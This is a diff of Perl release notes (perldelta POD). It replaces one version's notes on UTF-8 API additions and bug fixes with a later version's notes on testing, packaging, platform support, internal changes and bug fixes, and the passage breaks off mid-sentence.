-OpenBSD 6 still does not support returning C<pid>, C<gid>, or C<uid> with
-C<SA_SIGINFO>.  Make sure to account for it.
-
-=item FreeBSD
-
-F<t/uni/overload.t>: Skip hanging test on FreeBSD.
-
-=item DragonFly BSD
-
-DragonFly BSD now has support for C<setproctitle()>.
-L<[perl #130068]|https://rt.perl.org/Public/Bug/Display.html?id=130068>.
-
 =back
 
-=head1 Internal Changes
+=head1 Testing
 
 =over 4
 
 =item *
 
-A new API function L<C<sv_setpv_bufsize()>|perlapi/sv_setpv_bufsize>
-allows simultaneously setting the
-length and the allocated size of the buffer in an C<SV>, growing the
-buffer if necessary.
+Testing of the XS-APItest directory is now done in parallel, where
+applicable.
 
 =item *
 
-A new API macro L<C<SvPVCLEAR()>|perlapi/SvPVCLEAR> sets its C<SV>
-argument to an empty string,
-like Perl-space C<$x = ''>, but with several optimisations.
+Perl now includes a default F<.travis.yml> file for Travis CI testing
+on github mirrors.
+L<[perl #123981]|https://rt.perl.org/Ticket/Display.html?id=123981>
 
 =item *
 
-Several new macros and functions for dealing with Unicode and
-UTF-8-encoded strings have been added to the API, as well as some
-changes in the
-functionality of existing functions (see L<perlapi/Unicode Support> for
-more details):
+The watchdog timer count in F<re/pat_psycho.t> can now be overridden.
 
-=over
+This test can take a long time to run, so there is a timer to keep
+this in check (currently, 5 minutes). This commit adds checking
+the environment variable C<< PERL_TEST_TIME_OUT_FACTOR >>; if set,
+the time out setting is multiplied by its value.
 
 =item *
 
-New versions of the API macros like C<isALPHA_utf8> and C<toLOWER_utf8>
-have been added, each with the suffix C<_safe>, like
-L<C<isSPACE_utf8_safe>|perlapi/isSPACE>.  These take an extra
-parameter, giving an upper
-limit of how far into the string it is safe to read.  Using the old
-versions could cause attempts to read beyond the end of the input buffer
-if the UTF-8 is not well-formed, and their use now raises a deprecation
-warning.  Details are at L<perlapi/Character classification>.
+F<harness> no longer waits for 30 seconds when running F<t/io/openpid.t>.
+L<[perl #121028]|https://rt.perl.org/Ticket/Display.html?id=121028>
+L<[perl #132867]|https://rt.perl.org/Ticket/Display.html?id=132867>
 
-=item *
-
-Macros like L<C<isALPHA_utf8>|perlapi/isALPHA> and
-L<C<toLOWER_utf8>|perlapi/toLOWER_utf8> now die if they detect
-that their input UTF-8 is malformed.  A deprecation warning had been
-issued since Perl 5.18.
-
-=item *
-
-Several new macros for analysing the validity of utf8 sequences. These
-are:
-
-L<C<UTF8_GOT_ABOVE_31_BIT>|perlapi/UTF8_GOT_ABOVE_31_BIT>
-L<C<UTF8_GOT_CONTINUATION>|perlapi/UTF8_GOT_CONTINUATION>
-L<C<UTF8_GOT_EMPTY>|perlapi/UTF8_GOT_EMPTY>
-L<C<UTF8_GOT_LONG>|perlapi/UTF8_GOT_LONG>
-L<C<UTF8_GOT_NONCHAR>|perlapi/UTF8_GOT_NONCHAR>
-L<C<UTF8_GOT_NON_CONTINUATION>|perlapi/UTF8_GOT_NON_CONTINUATION>
-L<C<UTF8_GOT_OVERFLOW>|perlapi/UTF8_GOT_OVERFLOW>
-L<C<UTF8_GOT_SHORT>|perlapi/UTF8_GOT_SHORT>
-L<C<UTF8_GOT_SUPER>|perlapi/UTF8_GOT_SUPER>
-L<C<UTF8_GOT_SURROGATE>|perlapi/UTF8_GOT_SURROGATE>
-L<C<UTF8_IS_INVARIANT>|perlapi/UTF8_IS_INVARIANT>
-L<C<UTF8_IS_NONCHAR>|perlapi/UTF8_IS_NONCHAR>
-L<C<UTF8_IS_SUPER>|perlapi/UTF8_IS_SUPER>
-L<C<UTF8_IS_SURROGATE>|perlapi/UTF8_IS_SURROGATE>
-L<C<UVCHR_IS_INVARIANT>|perlapi/UVCHR_IS_INVARIANT>
-L<C<isUTF8_CHAR_flags>|perlapi/isUTF8_CHAR_flags>
-L<C<isSTRICT_UTF8_CHAR>|perlapi/isSTRICT_UTF8_CHAR>
-L<C<isC9_STRICT_UTF8_CHAR>|perlapi/isC9_STRICT_UTF8_CHAR>
-
-=item *
-
-Functions that are all extensions of the C<is_utf8_string_I<*>()> functions,
-that apply various restrictions to the UTF-8 recognized as valid:
-
-L<C<is_strict_utf8_string>|perlapi/is_strict_utf8_string>,
-L<C<is_strict_utf8_string_loc>|perlapi/is_strict_utf8_string_loc>,
-L<C<is_strict_utf8_string_loclen>|perlapi/is_strict_utf8_string_loclen>,
-
-L<C<is_c9strict_utf8_string>|perlapi/is_c9strict_utf8_string>,
-L<C<is_c9strict_utf8_string_loc>|perlapi/is_c9strict_utf8_string_loc>,
-L<C<is_c9strict_utf8_string_loclen>|perlapi/is_c9strict_utf8_string_loclen>,
-
-L<C<is_utf8_string_flags>|perlapi/is_utf8_string_flags>,
-L<C<is_utf8_string_loc_flags>|perlapi/is_utf8_string_loc_flags>,
-L<C<is_utf8_string_loclen_flags>|perlapi/is_utf8_string_loclen_flags>,
-
-L<C<is_utf8_fixed_width_buf_flags>|perlapi/is_utf8_fixed_width_buf_flags>,
-L<C<is_utf8_fixed_width_buf_loc_flags>|perlapi/is_utf8_fixed_width_buf_loc_flags>,
-L<C<is_utf8_fixed_width_buf_loclen_flags>|perlapi/is_utf8_fixed_width_buf_loclen_flags>.
-
-L<C<is_utf8_invariant_string>|perlapi/is_utf8_invariant_string>.
-L<C<is_utf8_valid_partial_char>|perlapi/is_utf8_valid_partial_char>.
-L<C<is_utf8_valid_partial_char_flags>|perlapi/is_utf8_valid_partial_char_flags>.
-
-=item *
-
-The functions L<C<utf8n_to_uvchr>|perlapi/utf8n_to_uvchr> and its
-derivatives have had several changes of behaviour.
-
-Calling them, while passing a string length of 0 is now asserted against
-in DEBUGGING builds, and otherwise, returns the Unicode REPLACEMENT
-CHARACTER.   If you have nothing to decode, you shouldn't call the decode
-function.
-
-They now return the Unicode REPLACEMENT CHARACTER if called with UTF-8
-that has the overlong malformation and that malformation is allowed by
-the input parameters.  This malformation is where the UTF-8 looks valid
-syntactically, but there is a shorter sequence that yields the same code
-point.  This has been forbidden since Unicode version 3.1.
-
-They now accept an input
-flag to allow the overflow malformation.  This malformation is when the
-UTF-8 may be syntactically valid, but the code point it represents is
-not capable of being represented in the word length on the platform.
-What "allowed" means, in this case, is that the function doesn't return an
-error, and it advances the parse pointer to beyond the UTF-8 in
-question, but it returns the Unicode REPLACEMENT CHARACTER as the value
-of the code point (since the real value is not representable).
-
-They no longer abandon searching for other malformations when the first
-one is encountered.  A call to one of these functions thus can generate
-multiple diagnostics, instead of just one.
-
-=item *
-
-L<C<valid_utf8_to_uvchr()>|perlapi/valid_utf8_to_uvchr> has been added
-to the API (although it was
-present in core earlier). Like C<utf8_to_uvchr_buf()>, but assumes that
-the next character is well-formed.  Use with caution.
-
-=item *
-
-A new function, L<C<utf8n_to_uvchr_error>|perlapi/utf8n_to_uvchr_error>,
-has been added for
-use by modules that need to know the details of UTF-8 malformations
-beyond pass/fail.  Previously, the only ways to know why a sequence was
-ill-formed was to capture and parse the generated diagnostics or to do
-your own analysis.
-
-=item *
-
-There is now a safer version of utf8_hop(), called
-L<C<utf8_hop_safe()>|perlapi/utf8_hop_safe>.
-Unlike utf8_hop(), utf8_hop_safe() won't navigate before the beginning or
-after the end of the supplied buffer.
-
-=item *
-
-Two new functions, L<C<utf8_hop_forward()>|perlapi/utf8_hop_forward> and
-L<C<utf8_hop_back()>|perlapi/utf8_hop_back> are
-similar to C<utf8_hop_safe()> but are for when you know which direction
-you wish to travel.
-
-=item *
-
-Two new macros which return useful utf8 byte sequences:
-
-L<C<BOM_UTF8>|perlapi/BOM_UTF8>
-
-L<C<REPLACEMENT_CHARACTER_UTF8>|perlapi/REPLACEMENT_CHARACTER_UTF8>
-
 =back
 
-=item *
+=head1 Packaging
 
-Perl is now built with the C<PERL_OP_PARENT> compiler define enabled by
-default.  To disable it, use the C<PERL_NO_OP_PARENT> compiler define.
-This flag alters how the C<op_sibling> field is used in C<OP> structures,
-and has been available optionally since perl 5.22.
+For the past few years we have released perl using three different archive
+formats: bzip (C<.bz2>), LZMA2 (C<.xz>) and gzip (C<.gz>). Since xz compresses
+better and decompresses faster, and gzip is more compatible and uses less
+memory, we have dropped the C<.bz2> archive format with this release.
+(If this poses a problem, do let us know; see L</Reporting Bugs>, below.)
 
-See L<perl5220delta/"Internal Changes"> for more details of what this
-build option does.
+=head1 Platform Support
 
-=item *
+=head2 Discontinued Platforms
 
-Three new ops, C<OP_ARGELEM>, C<OP_ARGDEFELEM>, and C<OP_ARGCHECK> have
-been added.  These are intended principally to implement the individual
-elements of a subroutine signature, plus any overall checking required.
+=over 4
 
-=item *
+=item PowerUX / Power MAX OS
 
-The C<OP_PUSHRE> op has been eliminated and the C<OP_SPLIT> op has been
-changed from class C<LISTOP> to C<PMOP>.
+Compiler hints and other support for these apparently long-defunct
+platforms has been removed.
 
-Formerly the first child of a split would be a C<pushre>, which would have the
-C<split>'s regex attached to it. Now the regex is attached directly to the
-C<split> op, and the C<pushre> has been eliminated.
-
-=item *
-
-The L<C<op_class()>|perlapi/op_class> API function has been added.  This
-is like the existing
-C<OP_CLASS()> macro, but can more accurately determine what struct an op
-has been allocated as.  For example C<OP_CLASS()> might return
-C<OA_BASEOP_OR_UNOP> indicating that ops of this type are usually
-allocated as an C<OP> or C<UNOP>; while C<op_class()> will return
-C<OPclass_BASEOP> or C<OPclass_UNOP> as appropriate.
-
-=item *
-
-All parts of the internals now agree that the C<sassign> op is a C<BINOP>;
-previously it was listed as a C<BASEOP> in F<regen/opcodes>, which meant
-that several parts of the internals had to be special-cased to accommodate
-it.  This oddity's original motivation was to handle code like C<$x ||= 1>;
-that is now handled in a simpler way.
-
-=item *
-
-The output format of the L<C<op_dump()>|perlapi/op_dump> function (as
-used by C<perl -Dx>)
-has changed: it now displays an "ASCII-art" tree structure, and shows more
-low-level details about each op, such as its address and class.
-
-=item *
-
-The C<PADOFFSET> type has changed from being unsigned to signed, and
-several pad-related variables such as C<PL_padix> have changed from being
-of type C<I32> to type C<PADOFFSET>.
-
-=item *
-
-The C<DEBUGGING>-mode output for regex compilation and execution has been
-enhanced.
-
-=item *
-
-Several obscure SV flags have been eliminated, sometimes along with the
-macros which manipulate them: C<SVpbm_VALID>, C<SVpbm_TAIL>, C<SvTAIL_on>,
-C<SvTAIL_off>, C<SVrepl_EVAL>, C<SvEVALED>.
-
-=item *
-
-An OP C<op_private> flag has been eliminated: C<OPpRUNTIME>. This used to
-often get set on C<PMOP> ops, but had become meaningless over time.
-
 =back
 
-=head1 Selected Bug Fixes
+=head2 Platform-Specific Notes
 
 =over 4
 
-=item *
+=item CentOS
 
-Perl no longer panics when switching into some locales on machines with
-buggy C<strxfrm()> implementations in their F<libc>.
-L<[perl #121734]|https://rt.perl.org/Public/Bug/Display.html?id=121734>
+Compilation on CentOS 5 is now fixed.
 
-=item *
+=item Cygwin
 
-C< $-{$name} > would leak an C<AV> on each access if the regular
-expression had no named captures.  The same applies to access to any
-hash tied with L<Tie::Hash::NamedCapture> and C<< all =E<gt> 1 >>.
-L<[perl #130822]|https://rt.perl.org/Public/Bug/Display.html?id=130822>
+A build with the quadmath library can now be done on Cygwin.
 
-=item *
+=item Darwin
 
-Attempting to use the deprecated variable C<$#> as the object in an
-indirect object method call could cause a heap use after free or
-buffer overflow.
-L<[perl #129274]|https://rt.perl.org/Public/Bug/Display.html?id=129274>
+Perl now correctly uses reentrant functions, like C<asctime_r>, on
+versions of Darwin that have support for them.
 
-=item *
+=item FreeBSD
 
-When checking for an indirect object method call, in some rare cases
-the parser could reallocate the line buffer but then continue to use
-pointers to the old buffer.
-L<[perl #129190]|https://rt.perl.org/Public/Bug/Display.html?id=129190>
+FreeBSD's F<< /usr/share/mk/sys.mk >> specifies C<< -O2 >> for
+architectures other than ARM and MIPS. By default, perl is now compiled
+with the same optimization levels.
 
-=item *
+=item VMS
 
-Supplying a glob as the format argument to
-L<C<formline>|perlfunc/formline> would
-cause an assertion failure.
-L<[perl #130722]|https://rt.perl.org/Public/Bug/Display.html?id=130722>
+Several fix-ups for F<configure.com>, marking function VMS has
+(or doesn't have).
 
-=item *
+CRTL features can now be set by embedders before invoking Perl by using
+the C<decc$feature_set> and C<decc$feature_set_value> functions.
+Previously any attempt to set features after image initialization were
+ignored.
 
-Code like C< $value1 =~ qr/.../ ~~ $value2 > would have the match
-converted into a C<qr//> operator, leaving extra elements on the stack to
-confuse any surrounding expression.
-L<[perl #130705]|https://rt.perl.org/Public/Bug/Display.html?id=130705>
+=item Windows
 
-=item *
+=over 4
 
-Since v5.24 in some obscure cases, a regex which included code blocks
-from multiple sources (I<e.g.>, via embedded via C<qr//> objects) could end up
-with the wrong current pad and crash or give weird results.
-L<[perl #129881]|https://rt.perl.org/Public/Bug/Display.html?id=129881>
-
 =item *
 
-Occasionally C<local()>s in a code block within a patterns weren't being
-undone when the pattern matching backtracked over the code block.
-L<[perl #126697]|https://rt.perl.org/Public/Bug/Display.html?id=126697>
+Support for compiling perl on Windows using Microsoft Visual Studio 2017
+(containing Visual C++ 14.1) has been added.
 
 =item *
 
-Using C<substr()> to modify a magic variable could access freed memory
-in some cases.
-L<[perl #129340]|https://rt.perl.org/Public/Bug/Display.html?id=129340>
+Visual C++ compiler version detection has been improved to work on non-English
+language systems.
 
 =item *
 
-Under C<use utf8>, the entire source code is now checked for being UTF-8
-well formed, not just quoted strings as before.
-L<[perl #126310]|https://rt.perl.org/Public/Bug/Display.html?id=126310>.
+We now set C<$Config{libpth}> correctly for 64-bit builds using Visual C++
+versions earlier than 14.1.
 
-=item *
+=back
 
-The range operator C<".."> on strings now handles its arguments correctly when in
-the scope of the L<< C<unicode_strings>|feature/"The 'unicode_strings' feature" >>
-feature.  The previous behaviour was sufficiently unexpected that we believe no
-correct program could have made use of it.
+=back
 
-=item *
+=head1 Internal Changes
 
-The C<split> operator did not ensure enough space was allocated for
-its return value in scalar context.  It could then write a single
-pointer immediately beyond the end of the memory block allocated for
-the stack.
-L<[perl #130262]|https://rt.perl.org/Public/Bug/Display.html?id=130262>
+=over 4
 
 =item *
 
-Using a large code point with the C<"W"> pack template character with
-the current output position aligned at just the right point could
-cause a write of a single zero byte immediately beyond the end of an
-allocated buffer.
-L<[perl #129149]|https://rt.perl.org/Public/Bug/Display.html?id=129149>
+A new optimisation phase has been added to the compiler,
+C<optimize_optree()>, which does a top-down scan of a complete optree
+just before the peephole optimiser is run. This phase is not currently
+hookable.
 
 =item *
 
-Supplying a format's picture argument as part of the format argument list
-where the picture specifies modifying the argument could cause an
-access to the new freed compiled form.at.
-L<[perl #129125]|https://rt.perl.org/Public/Bug/Display.html?id=129125>
+An C<OP_MULTICONCAT> op has been added. At C<optimize_optree()> time, a
+chain of C<OP_CONCAT> and C<OP_CONST> ops, together optionally with an
+C<OP_STRINGIFY> and/or C<OP_SASSIGN>, are combined into a single
+C<OP_MULTICONCAT> op. The op is of type C<UNOP_AUX>, and the aux array
+contains the argument count, plus a pointer to a constant string and a set
+of segment lengths. For example with
 
-=item *
+    my $x = "foo=$foo, bar=$bar\n";
 
-The L<sort()|perlfunc/sort> operator's built-in numeric comparison
-function didn't handle large integers that weren't exactly
-representable by a double.  This now uses the same code used to
-implement the C<< E<lt>=E<gt> >> operator.
-L<[perl #130335]|https://rt.perl.org/Public/Bug/Display.html?id=130335>
+the constant string would be C<"foo=, bar=\n"> and the segment lengths
+would be (4,6,1). If the string contains characters such as C<\x80>, whose
+representation changes under utf8, two sets of strings plus lengths are
+precomputed and stored.
 
 =item *
 
-Fix issues with C</(?{ ... E<lt>E<lt>EOF })/> that broke
-L<Method::Signatures>.
-L<[perl #130398]|https://rt.perl.org/Public/Bug/Display.html?id=130398>
+Direct access to L<C<PL_keyword_plugin>|perlapi/PL_keyword_plugin> is not
+safe in the presence of multithreading. A new
+L<C<wrap_keyword_plugin>|perlapi/wrap_keyword_plugin> function has been
+added to allow XS modules to safely define custom keywords even when
+loaded from a thread, analogous to L<C<PL_check>|perlapi/PL_check> /
+L<C<wrap_op_checker>|perlapi/wrap_op_checker>.
 
 =item *
 
-Fixed an assertion failure with C<chop> and C<chomp>, which
-could be triggered by C<chop(@x =~ tr/1/1/)>.
-L<[perl #130198]|https://rt.perl.org/Public/Bug/Display.html?id=130198>.
+The C<PL_statbuf> interpreter variable has been removed.
 
 =item *
 
-Fixed a comment skipping error in patterns under C</x>; it could stop
-skipping a byte early, which could be in the middle of a UTF-8
-character.
-L<[perl #130495]|https://rt.perl.org/Public/Bug/Display.html?id=130495>.
+The deprecated function C<to_utf8_case()>, accessible from XS code, has
+been removed.
 
 =item *
 
-F<perldb> now ignores F</dev/tty> on non-Unix systems.
-L<[perl #113960]|https://rt.perl.org/Public/Bug/Display.html?id=113960>;
+A new function
+L<C<is_utf8_invariant_string_loc()>|perlapi/is_utf8_invariant_string_loc>
+has been added that is like
+L<C<is_utf8_invariant_string()>|perlapi/is_utf8_invariant_string>
+but takes an extra pointer parameter into which is stored the location
+of the first variant character, if any are found.
 
 =item *
 
-Fix assertion failure for C<{}-E<gt>$x> when C<$x> isn't defined.
-L<[perl #130496]|https://rt.perl.org/Public/Bug/Display.html?id=130496>.
+A new function, L<C<Perl_langinfo()>|perlapi/Perl_langinfo> has been
+added.  It is an (almost) drop-in replacement for the system
+C<nl_langinfo(3)>, but works on platforms that lack that; as well as
+being more thread-safe, and hiding some gotchas with locale handling
+from the caller.  Code that uses this, needn't use L<C<localeconv(3)>>
+(and be affected by the gotchas) to find the decimal point, thousands
+separator, or currency symbol.  See L<perlapi/Perl_langinfo>.
 
 =item *
 
-Fix an assertion error which could be triggered when a lookahead string
-in patterns exceeded a minimum length.
-L<[perl #130522]|https://rt.perl.org/Public/Bug/Display.html?id=130522>.
+A new API function L<C<sv_rvunweaken()>|perlapi/sv_rvunweaken> has
+been added to complement L<C<sv_rvweaken()>|perlapi/sv_rvweaken>.
+The implementation was taken from L<Scalar::Util/unweaken>.
 
 =item *
 
-Only warn once per literal number about a misplaced C<"_">.
-L<[perl #70878]|https://rt.perl.org/Public/Bug/Display.html?id=70878>.
+A new flag, C<SORTf_UNSTABLE>, has been added. This will allow a
+future commit to make mergesort unstable when the user specifies ‘no
+sort stable’, since it has been decided that mergesort should remain
+stable by default.
 
 =item *
 
-The C<tr///> parse code could be looking at uninitialized data after a
-perse error.
-L<[perl #129342]|https://rt.perl.org/Public/Bug/Display.html?id=129342>.
+XS modules can now automatically get reentrant versions of system
+functions on threaded perls.
 
-=item *
+By adding
 
-In a pattern match, a back-reference (C<\1>) to an unmatched capture could
-read back beyond the start of the string being matched.
-L<[perl #129377]|https://rt.perl.org/Public/Bug/Display.html?id=129377>.
+    #define PERL_REENTRANT
 
-=item *
+near the beginning of an C<XS> file, it will be compiled so that
+whatever reentrant functions perl knows about on that system will
+automatically and invisibly be used instead of the plain, non-reentrant
+versions.  For example, if you write C<getpwnam()> in your code, on a
+system that has C<getpwnam_r()> all calls to the former will be translated
+invisibly into the latter.  This does not happen except on threaded
+perls, as they aren't needed otherwise.  Be aware that which functions
+have reentrant versions varies from system to system.
 
-C<use re 'strict'> is supposed to warn if you use a range (such as
-C</(?[ [ X-Y ] ])/>) whose start and end digit aren't from the same group
-of 10.  It didn't do that for five groups of mathematical digits starting
-at C<U+1D7E>.
-
 =item *
 
-A sub containing a "forward" declaration with the same name (I<e.g.>,
-C<sub c { sub c; }>) could sometimes crash or loop infinitely.
-L<[perl #129090]|https://rt.perl.org/Public/Bug/Display.html?id=129090>
+The C<PERL_NO_OP_PARENT> build define is no longer supported, which means
+that perl is now always built with C<PERL_OP_PARENT> enabled.
 
 =item *
 
-A crash in executing a regex with a non-anchored UTF-8 substring against a
-target string that also used UTF-8 has been fixed.
-L<[perl #129350]|https://rt.perl.org/Public/Bug/Display.html?id=129350>
+The format and content of the non-utf8 transliteration table attached to
+the C<op_pv> field of C<OP_TRANS>/C<OP_TRANSR> ops has changed. It's now a
+C<struct OPtrans_map>.
 
 =item *
 
-Previously, a shebang line like C<#!perl -i u> could be erroneously
-interpreted as requesting the C<-u> option.  This has been fixed.
-L<[perl #129336]|https://rt.perl.org/Public/Bug/Display.html?id=129336>
+A new compiler C<#define>, C<dTHX_DEBUGGING>. has been added.  This is
+useful for XS or C code that only need the thread context because their
+debugging statements that get compiled only under C<-DDEBUGGING> need
+one.
 
 =item *
 
-The regex engine was previously producing incorrect results in some rare
-situations when backtracking past an alternation that matches only one
-thing; this
-showed up as capture buffers (C<$1>, C<$2>, I<etc.>) erroneously containing data
-from regex execution paths that weren't actually executed for the final
-match.
-L<[perl #129897]|https://rt.perl.org/Public/Bug/Display.html?id=129897>
+A new API function L<perlapi/Perl_setlocale> has been added.
 
 =item *
 
-Certain regexes making use of the experimental C<regex_sets> feature could
-trigger an assertion failure.  This has been fixed.
-L<[perl #129322]|https://rt.perl.org/Public/Bug/Display.html?id=129322>
+L<perlapi/sync_locale> has been revised to return a boolean as to
+whether the system was using the global locale or not.
 
 =item *
 
-Invalid assignments to a reference constructor (I<e.g.>, C<\eval=time>) could
-sometimes crash in addition to giving a syntax error.
-L<[perl #125679]|https://rt.perl.org/Public/Bug/Display.html?id=125679>
+A new kind of magic scalar, called a "nonelem" scalar, has been introduced.
+It is stored in an array to denote a non-existent element, whenever such an
+element is accessed in a potential lvalue context.  It replaces the
+existing "defelem" (deferred element) magic wherever this is possible,
+being significantly more efficient.  This means that
+C<some_sub($sparse_array[$nonelem])> no longer has to create a new magic
+defelem scalar each time, as long as the element is within the array.
 
-=item *
+It partially fixes the rare bug of deferred elements getting out of synch
+with their arrays when the array is shifted or unshifted.
+L<[perl #132729]|https://rt.perl.org/Ticket/Display.html?id=132729>
 
-The parser could sometimes crash if a bareword came after C<evalbytes>.
-L<[perl #129196]|https://rt.perl.org/Public/Bug/Display.html?id=129196>
+=back
 
-=item *
+=head1 Selected Bug Fixes
 
-Autoloading via a method call would warn erroneously ("Use of inherited
-AUTOLOAD for non-method") if there was a stub present in the package into
-which the invocant had been blessed.  The warning is no longer emitted in
-such circumstances.
-L<[perl #47047]|https://rt.perl.org/Public/Bug/Display.html?id=47047>
+=over 4
 
 =item *
 
-The use of C<splice> on arrays with non-existent elements could cause other
-operators to crash.
-L<[perl #129164]|https://rt.perl.org/Public/Bug/Display.html?id=129164>
+List assignment (C<aassign>) could in some rare cases allocate an
+entry on the mortals stack and leave the entry uninitialized, leading to
+possible crashes.
+L<[perl #131570]|https://rt.perl.org/Ticket/Display.html?id=131570>
 
 =item *
 
-A possible buffer overrun when a pattern contains a fixed utf8 substring.
-L<[perl #129012]|https://rt.perl.org/Public/Bug/Display.html?id=129012>
+Attempting to apply an attribute to an C<our> variable where a
+function of that name already exists could result in a NULL pointer
+being supplied where an SV was expected, crashing perl.
+L<[perl #131597]|https://rt.perl.org/Ticket/Display.html?id=131597>
 
 =item *
 
-Fixed two possible use-after-free bugs in perl's lexer.
-L<[perl #129069]|https://rt.perl.org/Public/Bug/Display.html?id=129069>
+C<split ' '> now correctly handles the argument being split when in the
+scope of the L<< C<unicode_strings>|feature/"The 'unicode_strings' feature"
+>> feature. Previously, when a string using the single-byte internal
+representation contained characters that are whitespace by Unicode rules but
+not by ASCII rules, it treated those characters as part of fields rather
+than as field separators.
+L<[perl #130907]|https://rt.perl.org/Ticket/Display.html?id=130907>
 
 =item *
 
-Fixed a crash with C<s///l> where it thought it was dealing with UTF-8
-when it wasn't.
-L<[perl #129038]|https://rt.perl.org/Public/Bug/Display.html?id=129038>
+Several built-in functions previously had bugs that could cause them to
+write to the internal stack without allocating room for the item being
+written. In rare situations, this could have led to a crash. These bugs have
+now been fixed, and if any similar bugs are introduced in future, they will
+be detected automatically in debugging builds.
 
-=item *
+These internal stack usage checks introduced are also done
+by the C<entersub> operator when calling XSUBs.  This means we can
+report which XSUB failed to allocate enough stack space.
+L<[perl #131975]|https://rt.perl.org/Public/Bug/Display.html?id=131975>
 
-Fixed a place where the regex parser was not setting the syntax error
-correctly on a syntactically incorrect pattern.
-L<[perl #129122]|https://rt.perl.org/Public/Bug/Display.html?id=129122>
-
 =item *
 
-The C<&.> operator (and the C<"&"> operator, when it treats its arguments as
-strings) were failing to append a trailing null byte if at least one string
-was marked as utf8 internally.  Many code paths (system calls, regexp
-compilation) still expect there to be a null byte in the string buffer
-just past the end of the logical string.  An assertion failure was the
-result.
-L<[perl #129287]|https://rt.perl.org/Public/Bug/Display.html?id=129287>
+Using a symbolic ref with postderef syntax as the key in a hash lookup was
+yielding an assertion failure on debugging builds.
+L<[perl #131627]|https://rt.perl.org/Ticket/Display.html?id=131627>
 
 =item *
 
-Avoid a heap-after-use error in the parser when creating an error messge
-for a syntactically invalid heredoc.
-L<[perl #128988]|https://rt.perl.org/Public/Bug/Display.html?id=128988>
+Array and hash variables whose names begin with a caret now admit indexing
+inside their curlies when interpolated into strings, as in C<<
+"${^CAPTURE[0]}" >> to index C<@{^CAPTURE}>.
+L<[perl #131664]|https://rt.perl.org/Ticket/Display.html?id=131664>
 
 =item *
 
-Fix a segfault when run with C<-DC> options on DEBUGGING builds.
-L<[perl #129106]|https://rt.perl.org/Public/Bug/Display.html?id=129106>
+Fetching the name of a glob that was previously UTF-8 but wasn't any
+longer would return that name flagged as UTF-8.
+L<[perl #131263]|https://rt.perl.org/Ticket/Display.html?id=131263>
 
 =item *
 
-Fixed the parser error handling in subroutine attributes for an
-'C<:attr(foo>' that does not have an ending 'C<")">'.
+The perl C<sprintf()> function (via the underlying C function
+C<Perl_sv_vcatpvfn_flags()>) has been heavily reworked to fix many minor
+bugs, including the integer wrapping of large width and precision
+specifiers and potential buffer overruns. It has also been made faster in
+many cases.
 
 =item *
 
-Fix the perl lexer to correctly handle a backslash as the last char in
-quoted-string context. This actually fixed two bugs,
-L<[perl #129064]|https://rt.perl.org/Public/Bug/Display.html?id=129064> and
-L<[perl #129176]|https://rt.perl.org/Public/Bug/Display.html?id=129176>.
+Exiting from an C<eval>, whether normally or via an exception, now always
+frees temporary values (possibly calling destructors) I<before> setting
+C<$@>. For example:
 
-=item *
+    sub DESTROY { eval { die "died in DESTROY"; } }
+    eval { bless []; };
+    # $@ used to be equal to "died in DESTROY" here; it's now "".
 
-In the API function C<gv_fetchmethod_pvn_flags>, rework separator parsing
-to prevent possible string overrun with an invalid C<len> argument.
-L<[perl #129267]|https://rt.perl.org/Public/Bug/Display.html?id=129267>
-
 =item *
 
-Problems with in-place array sorts: code like C<@a = sort { ... } @a>,
-where the source and destination of the sort are the same plain array, are
-optimised to do less copying around.  Two side-effects of this optimisation
-were that the contents of C<@a> as seen by sort routines were
-partially sorted; and under some circumstances accessing C<@a> during the
-sort could crash the interpreter.  Both these issues have been fixed, and
-Sort functions see the original value of C<@a>.
-L<[perl #128340]|https://rt.perl.org/Public/Bug/Display.html?id=128340>
+Fixed a duplicate symbol failure with C<-flto -mieee-fp> builds.
+F<pp.c> defined C<_LIB_VERSION> which C<-lieee> already defines.
+L<[perl #131786]|https://rt.perl.org/Ticket/Display.html?id=131786>
 
 =item *
 
-Non-ASCII string delimiters are now reported correctly in error messages
-for unterminated strings.
-L<[perl #128701]|https://rt.perl.org/Public/Bug/Display.html?id=128701>
+The tokenizer no longer consumes the exponent part of a floating
+point number if it's incomplete.
+L<[perl #131725]|https://rt.perl.org/Ticket/Display.html?id=131725>
 
 =item *
 
-C<pack("p", ...)> used to emit its warning ("Attempt to pack pointer to
-temporary value") erroneously in some cases, but has been fixed.
+On non-threaded builds, for C<m/$null/> where C<$null> is an empty
+string is no longer treated as if the C</o> flag was present when the
+previous matching match operator included the C</o> flag.  The
+rewriting used to implement this behavior could confuse the
+interpreter.  This matches the behaviour of threaded builds.
+L<[perl #124368]|https://rt.perl.org/Ticket/Display.html?id=124368>
 
 =item *
 
-C<@DB::args> is now exempt from "used once" warnings.  The warnings only
-occurred under B<-w>, because F<warnings.pm> itself uses C<@DB::args>
-multiple times.
+Parsing a C<sub> definition could cause a use after free if the C<sub>
+keyword was followed by whitespace including newlines (and comments.)
+L<[perl #131836]|https://rt.perl.org/Public/Bug/Display.html?id=131836>
 
 =item *
 
-The use of built-in arrays or hash slices in a double-quoted string no
-longer issues a warning ("Possible unintended interpolation...") if the
-variable has not been mentioned before.  This affected code like
-C<qq|@DB::args|> and C<qq|@SIG{'CHLD', 'HUP'}|>.  (The special variables
-C<@-> and C<@+> were already exempt from the warning.)
+The tokenizer now correctly adjusts a parse pointer when skipping
+whitespace in a C<< ${identifier} >> construct.
+L<[perl #131949]|https://rt.perl.org/Public/Bug/Display.html?id=131949>
 
 =item *
 
-C<gethostent> and similar functions now perform a null check internally, to
-avoid crashing with the torsocks library.  This was a regression from v5.22.
-L<[perl #128740]|https://rt.perl.org/Public/Bug/Display.html?id=128740>
+Accesses to C<${^LAST_FH}> no longer assert after using any of a
+variety of I/O operations on a non-glob.
+L<[perl #128263]|https://rt.perl.org/Public/Bug/Display.html?id=128263>
 
 =item *
 
-C<defined *{'!'}>, C<defined *{'['}>, and C<defined *{'-'}> no longer leak
-memory if the typeglob in question has never been accessed before.
+The XS-level C<Copy()>, C<Move()>, C<Zero()> macros and their variants now
+assert if the pointers supplied are C<NULL>.  ISO C considers
+supplying NULL pointers to the functions these macros are built upon
+as undefined behaviour even when their count parameters are zero.
+Based on these assertions and the original bug report three macro
+calls were made conditional.
+L<[perl #131746]|https://rt.perl.org/Public/Bug/Display.html?id=131746>
+L<[perl #131892]|https://rt.perl.org/Public/Bug/Display.html?id=131892>
 
 =item *
 
-Mentioning the same constant twice in a row (which is a syntax error) no
-longer fails an assertion under debugging builds.  This was a regression
-from v5.20.
-L<[perl #126482]|https://rt.perl.org/Public/Bug/Display.html?id=126482>
+Only the C<=> operator is permitted for defining defaults for
+parameters in subroutine signatures.  Previously other assignment
